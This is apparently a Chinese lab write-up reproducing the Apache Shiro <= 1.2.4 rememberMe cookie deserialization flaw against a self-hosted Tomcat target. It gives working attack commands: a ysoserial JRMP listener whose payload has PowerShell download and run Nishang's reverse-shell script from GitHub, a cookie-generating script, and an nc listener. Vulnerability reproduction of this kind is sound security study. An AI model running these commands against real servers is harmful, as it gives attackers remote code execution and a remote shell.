前言
偶然见到大佬玩的这漏洞,学习一下
漏洞范围
Apache Shiro <= 1.2.4
漏洞复现
参考资料:
apache-shiro反序列化远程代码执行漏洞复现
环境搭建
大部分工具大佬已经给出,详见参考资料
靶机
windows10、Tomcat 7.0.70、jdk 1.8、shiro war包
攻击机
vps(ubuntu)、java、shiro_exp_payload.py脚本、ysoserial.jar
直接将大佬的war下载到本地部署到tomcat7.0.70,访问即可
在进行登录的时候,返回包里存在rememberMe=deleteMe。可判断使用shiro框架。
漏洞位置
请求包中cookie处存在rememberMe参数,修改cookie可远程命令执行。
命令执行
在vps(144.34.xxx.xx)上开启三个终端
1.vps上执行java命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 144.34.xx.xx -port 9999"
用来powershell反弹cmd。
2.python脚本生成cookie
python shiro_exp_payload.py 144.34.xx.xx:1099
3.vps监听反弹shell命令
nc -lvp 9999
将生成的cookie放入http的请求包中,即可反弹cmd